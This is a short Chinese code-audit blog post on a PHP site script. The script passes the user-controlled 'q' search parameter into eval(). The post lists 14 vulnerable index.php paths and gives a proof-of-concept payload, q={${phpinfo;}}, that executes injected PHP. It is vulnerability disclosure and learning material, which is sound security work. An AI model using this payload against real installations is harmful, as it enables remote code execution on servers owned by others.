前言

看着皮总一天一天成长,我也不能荒废阿,今天有点时间加上最近也在学代码审计,就随便下了套程序然后就有了此文。

正文

我也懒得截图了所以直接贴代码,代码我都注释好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
set_time_limit(0);
$prescription = trim($_GET['q']);//获取q的参数值
$id = intval($_GET['id']);//获取id整数值

$r_num = 0; //结果个数
$lan = 3;
$pf = "";
$pf_l = "";

if($prescription!=""){
$dreamdb=file("data/yf.dat");//读取验方文件
$count=count($dreamdb);//计算行数

for($i=0; $i<$count; $i++) {
$keyword=explode(" ",$prescription);//拆分关键字
$dreamcount=count($keyword);//关键字个数
$detail=explode("\t",$dreamdb[$i]);//返回搜索数据
for ($ai=0; $ai<$dreamcount; $ai++) {
@eval("\$found = eregi(\"$keyword[$ai]\",\"$detail[0]\");");//eval..并且可控

影响文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
【 邮编篇 】 漏洞文件:/yb/index.php
【 酒方篇 】漏洞文件:/jiufang/index.php
【 粥普篇 】漏洞文件:/zhoupu/index.php
【 谚语篇 】漏洞文件:/yanyu/index.php
【 偏方篇 】:漏洞文件:/pianfang/index.php
【 谜语篇 】:漏洞文件:/miyu/index.php
【 名言篇 】:漏洞文件:/mingyan/index.php
【 名方片 】:漏洞文件:/mingfang/index.php
【 解梦篇 】:漏洞文件:/meng/index.php
【 验方篇 】漏洞文件:/yanfang/index.php
【中草药篇】 漏洞文件:/zhongcaoyao/index.php
【歇后语篇】:漏洞文件:/xiehouyu/index.php
【绕口令篇】:漏洞文件:/raokouling/index.php
【脑筋急转弯篇】:文件:/naojin/index.php

漏洞验证

Poc: q={${phpinfo;}}